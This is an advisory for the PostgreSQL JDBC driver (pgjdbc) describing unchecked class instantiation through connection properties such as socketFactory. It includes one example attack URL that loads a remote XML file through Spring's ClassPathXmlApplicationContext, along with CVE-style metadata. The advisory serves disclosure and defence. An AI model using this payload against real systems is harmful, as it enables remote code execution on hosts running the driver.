pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName
, sslhostnameverifier
, socketFactory
, sslfactory
, sslpasswordcallback
connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
The first impacted version is REL9.4.1208 (it introduced socketFactory
connection property)
{ "nvd_published_at": "2022-02-02T12:15:00Z", "cwe_ids": [ "CWE-665", "CWE-668", "CWE-74" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2022-02-01T22:40:00Z" }